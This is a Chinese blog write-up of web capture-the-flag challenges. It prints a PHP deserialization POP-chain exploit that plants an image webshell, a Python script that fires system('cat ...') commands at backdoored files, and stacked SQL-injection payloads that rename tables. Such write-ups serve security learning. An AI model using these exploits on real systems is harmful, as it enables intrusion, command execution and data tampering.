本来应该早一点就写好博客的,但是最近几个大作业压着,菜鸡累了,于是拖拖拖(捂脸
WEB
upload
这个网站进去登录注册以后就是一个上传图片的地方,经过一堆测试,发现只能上传图片,而且他会将文件名直接md5
加密,然后再加上png
后缀,所以想直接上个图片马是不行的了,接下来就是扫泄露扫出了www.tar.gz
,所以就是愉快的源码分析了
先看index.php
,里面有个check_login
函数,可以看到里面有个反序列化,而且发序列化的内容是cookie
里的user
值1
2
3
4
5
6
7
8
9
10
11
12public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
再继续审计,可以看到profile.php
里面有个upload_img
函数和__call
函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
可以看到upload_img
函数里面有个copy
函数,如果我们能对其filename
和filename_tmp
参数进行控制,那么我们就可以复制任意文件过去了,接下来就是想办法怎么控制里面的参数了
继续进行审计,可以看见__call
函数如果我们可以控制name
这个参数,我们就有可能调用过去upload_img
这个函数了
那么怎么触发它呢,在register.php
里面,有个__destruct
的方法1
2
3
4
5
6public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
而register
类里面是没有index
方法的,所以,我们就能让他触发过去__call
,然后想办法控制参数,让他触发upload_img
函数,所以pop链就是__destruct --> __call --> upload_img
,最后payload如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
namespace app\web\controller{
class Profile{
public $checker;
public $index;
public $filename_tmp;
public $filename;
public $ext;
public function __construct()
{
$this->index = "Ariel";
$this->checker = 0;
$this->filename_tmp = "upload/8b26631219c8f8ecac51b935cc87ccd1/f1f7f21e6c1bee52fad6244963831464.png";
$this->filename = "upload/8b26631219c8f8ecac51b935cc87ccd1/Ariel.php";
$this->Ariel = "upload_img";
$this->ext = 1;
}
public function __destruct()
{
echo "\nok";
}
}
class Register{
public $checker;
public $registed;
public function __construct($name)
{
$this->registed = 0;
$this->checker = $name;
}
}
$p = new Profile();
$r = new Register($p);
$payload = array("ID" => 1, "payload" => $r);
$payload = base64_encode(serialize($payload));
echo $payload . "\n";
}
先上传一张内容为小马的图片,注意加个图片头,然后将生成的payload替换到cookie里,就可以成功触发反序列化,生成我们想要的文件
接着就能愉快地执行任意命令了
强网先锋–上单
这道题一进去就给了一个框架的目录,发现能读的东西还很多,读一下log
日志,能读到一句payload,还很熟悉,了解过的都能一下看出来是tp5任意命令执行的漏洞的payload,拿出来直接利用就能拿到flag了
高明的黑客
这个进去能下下来一个压缩包,打开看见有3000多个文件,里面一堆的命令执行函数,但是前面又有一些将获得的变量置空的语句,大胆猜测,这中间有一个是真的小马,所以我们现在就是要将他找出来1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import re
import os
import time
import requests
for i in os.listdir('F:\\hacker\\'):
with open('F:\\hacker\\'+i,'r') as f:
try:
data=f.read()
m=re.findall(r'\$_GET\[[\'"]?(.*?)[\'"?]\]', data)
# print(i)
for k in m:
r=requests.get(url="http://ip/hacker/"+i+"/?"+k+"=system('cat /var/www/html/ctf/hacker/flag.txt');")
print "http://ip/hacker/"+i+"/?"+k+"=system('cat /var/www/html/ctf/hacker/flag.txt');"
if 'Ariel' in r.text:
print "[+]find!"
print i + " " + k
os._exit(0)
except Exception as e:
print(e)
找出来可利用的文件就能拿到flag了
随便注
过滤了常用的字符,但是1' or 1=1#
可以拿到当前数据表的所有数据,而且还能进行堆叠注入1
http://119.3.203.228:32420?inject=1'; show databases;
1
http://119.3.203.228:32420?inject=1'; show tables;
1
http://119.3.203.228:32420?inject=1'; use supersqli; show columns from `1919810931114514`;#
接下来这里有个坑点,这个时候如果直接rename数据表再利用原来的select去读flag是不行的,因为少了id列,但是加了id这个字段还是在报错,只能写在一起执行才可以1
http://119.3.203.228:32420?inject=1';rename table `words`to flag;rename table `1919810931114514`to words;alter table words add column id varchar(30);%23
这个时候就可以利用1' or 1=1#
读到flag了